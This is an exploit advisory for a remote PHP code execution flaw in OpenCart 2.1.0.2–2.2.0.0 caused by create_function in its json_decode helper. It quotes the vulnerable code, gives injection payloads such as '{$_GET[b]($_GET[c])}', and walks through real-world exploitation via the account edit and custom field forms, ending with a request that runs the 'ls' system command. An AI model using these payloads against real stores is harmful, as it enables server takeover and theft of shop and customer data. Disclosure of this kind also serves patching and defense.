OpenCart 2.2.0.0 Remote PHP Code Execution

`##  
# OpenCart json_decode function Remote PHP Code Execution  
#  
# Author: Naser Farhadi  
# Twitter: @naserfarhadi  
#  
# Date: 9 April 2016 # Version: 2.1.0.2 to 2.2.0.0 (Latest version)  
# Vendor Homepage: http://www.opencart.com/  
#  
# Vulnerability:  
# ------------  
# /upload/system/helper/json.php  
# $match = '/".*?(?<!\\\\)"/';  
# $string = preg_replace($match, '', $json);  
# $string = preg_replace('/[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/', '', $string);  
# ...  
# $function = @create_function('', "return {$json};"); /**** The Root of All Evil ****/  
# $return = ($function) ? $function() : null;  
# ...  
# return $return;  
#  
# Exploit(json_decode):  
# ------------  
# var_dump(json_decode('{"ok":"{$_GET[b]($_GET[c])}"}'));  
# var_dump(json_decode('{"ok":"$_SERVER[HTTP_USER_AGENT]"}'));  
# var_dump(json_decode('{"ok":"1"."2"."3"}'));  
#  
# Real World Exploit(OpenCart /index.php?route=account/edit)  
# ------------  
# go to http://host/shop_directory/index.php?route=account/edit  
# fill $_SERVER[HTTP_USER_AGENT] as First Name  
# /** save it two times **/  
# Code execution happens when an admin user visits the administration panel, in this example   
# admin user sees his user agent as your First Name in Recent Activity :D  
#  
# Another example(OpenCart account/edit or account/register custom_field): /** Best Case **/  
# ------------  
# if admin adds a Custom Field from /admin/index.php?route=customer/custom_field for custom  
# user information like extra phone number,... you can directly execute your injected code.  
# go to http://host/shop_directory/index.php?route=account/edit  
# fill {$_GET[b]($_GET[c])} as Custom Field value  
# save it  
# go to http://host/shop_directory/index.php?route=account/edit&b=system&c=ls /** Mission Accomplished **/  
#  
# Note:  
# ------------  
# Exploit only works if PHP JSON extension is not installed.  
#  
# Video: https://youtu.be/1Ai09IQK4C0  
##  
`